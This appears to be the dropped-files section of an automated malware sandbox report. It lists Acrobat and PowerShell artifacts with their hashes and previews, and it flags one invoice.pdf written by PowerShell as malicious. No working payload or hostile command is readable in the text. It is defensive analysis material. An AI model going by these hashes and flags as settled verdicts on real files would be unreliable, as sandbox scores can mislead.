C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6054614887574723
Encrypted:	false
SSDEEP:	48:7MyKUUUUUUUUUUsxGHvR9H9vxFGiDIAEkGVvBqFl2GL7ms4T:7eUUUUUUUUUUsxG/FGSItDKVmse
MD5:	C60A07B8581065E04D057DC94E33DAF9
SHA1:	3AA9FEA8950E610C1F976D7AFFD433721F5F9C9E
SHA-256:	118963CE02E7051F1A81C3B8048889157B30D80CA03830D361C8A3E86FF007B5
SHA-512:	2AB231142FCD8D70E64BEC25B1D018796D5658A7751724FFCB7C106D1782153CC309571CD08EF70DF0C8F726705F65A722BB9595A1E15E71F679C51618EE3691
Malicious:	false
Preview:	.... .c.....{N.1......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgXhruzkH44cPnG69OKlCQHKW6Yyu:6a6TZ44ADEXhrEkYFnGq6K
MD5:	B1C8DF1CEF8D4AB663587CEBB584888D
SHA1:	1A6A724C7059D4B86A0C63CA581B7ECA901612A9
SHA-256:	05AE667D429EA675E9EE0301BBB5BA8BE3C454FBB300D5B8BD2B369A809E4623
SHA-512:	4E66A59295411511CB0B3FA121D66DD46C64FBBAE1B1EDC0385E5EFAF232135F89E880679841092F3AD11CEF445074EAFA16E43A7C01612ACA1703D9EDCF2D75
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul5vR/ltZ:NllU
MD5:	B0C7CD32494D3E97C3D391E3F6C0284B
SHA1:	E4AEC8EAF1CE6EAB53081BFC3CF83CA5345D0EBD
SHA-256:	073696C1E4001510008CF5A1A93E8AAE5B9E48FA6648A0A09A70B824ACAE5D53
SHA-512:	52D4CD24B6B1D7EB83BA3E2F41AEE0488DC8D32843D145019F45901FDBBCE019196DB419BE16222319D9C62D22E4ED5DF8E51E916877E763F3FE6DA8C72A6B00
Malicious:	false
Preview:	@...e.................................(.4............@..........

C:\Users\user\AppData\Local\Temp\MSI330ff.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClSl50le:Qw946cPbiOxDlbYnuRK+b3n
MD5:	BDC7E0AFCC032DC0737BBE26763812DB
SHA1:	5F83E266668CA76EE4DEB3B269C1063B2D65241E
SHA-256:	AF3B5700DA14B699787001F8727004BBC3E9A9318C03623C1BA07E7B0856BB75
SHA-512:	C77ADB98422002497CFF626974213DA9259C586CB4FBED4D8466D73AD1505CDDD72D33C4B6EBCDF62A24074EBE4BBB7901AA1D833D1B1612C59CC65DB872A52E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.5.4.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvxeg3hn.0nz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zs33vkq2.eme.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91x04942_5zuqc6_648.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A95huhc_5zuqc7_648.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-54-20-426.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358056728550956
Encrypted:	false
SSDEEP:	384:+SUXMi1Joi2s/r0UTteDnhb2qB0lORiQMgDgquhJZ45hlWA/+0qbmGyXy3aI6bfr:QoX
MD5:	6F0FEAFD5F2EF229AC4B398070A3FFD9
SHA1:	41E8B70112FE73BEFC27B8DBF494C83C8BDE3CAB
SHA-256:	8B3A9B74BB34F2582DA454110891AA811504702ADCA6929215F1B735B167B4DC
SHA-512:	CFB7DC464335F56583D2704B0E92012E4C498F710F3C6EC5E9B5BE6C79224E121ADD628C5A0A75CE4895C3D9CDF84C8A1EC9EBE4AD9A4BF8C7FBF2738675404C
Malicious:	false
Preview:	SessionID=f4cd1842-04f6-47f7-bb07-639e131ce35d.1736567660457 Timestamp=2025-01-10T22:54:20:457-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f4cd1842-04f6-47f7-bb07-639e131ce35d.1736567660457 Timestamp=2025-01-10T22:54:20:465-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f4cd1842-04f6-47f7-bb07-639e131ce35d.1736567660457 Timestamp=2025-01-10T22:54:20:465-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f4cd1842-04f6-47f7-bb07-639e131ce35d.1736567660457 Timestamp=2025-01-10T22:54:20:465-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f4cd1842-04f6-47f7-bb07-639e131ce35d.1736567660457 Timestamp=2025-01-10T22:54:20:465-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.380748498844985
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rc:T8
MD5:	78800AA519D6F09D5DF573B145CB3970
SHA1:	94049FD8E7D28D741E78CF802F9B93572784A98A
SHA-256:	026E45854DEA6997B6ED03FA98FAEC77E381B9FC14B2A1425DA588E13CDF32B2
SHA-512:	8D7A2E23D86DAF9640987486E51FD470885C0EABB97429765FE2E7A3B9ADD0AB4FCBB0873085E9F65C626965987C4A422E886044A6EB3417B4E091FD236FB7A3
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\10a922f0-0e0d-4097-9f9d-304a14f0e655.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1ab5326c-7420-4fbb-9e88-e60990a5714c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4c3ef488-3987-4e80-8192-3da8f12692a9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9148ab8b-59f1-468a-92bd-0e844781f59f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07+7oDWLaGZDwYIGNPJe:Jb3mlind9i4ufFXpAXkrfUs0rDWLaGZo
MD5:	9DE909C4C633E6829165A4F1E0FA55C1
SHA1:	2E5FA5D6C1FC57BB2BBBD36837BBEB363C650849
SHA-256:	8770BE5263FD11B1A805E381669C27C0E18DC265B6041D531454299C14D0C83D
SHA-512:	7AB5A4B1B23D21D14D275FAB5756193FDE3B5AC2FF8322EACF160D109E638D1A25CC723C463648252E023EF5B0E35BEB14989561EE4F9B37C124CBA3B82443D9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
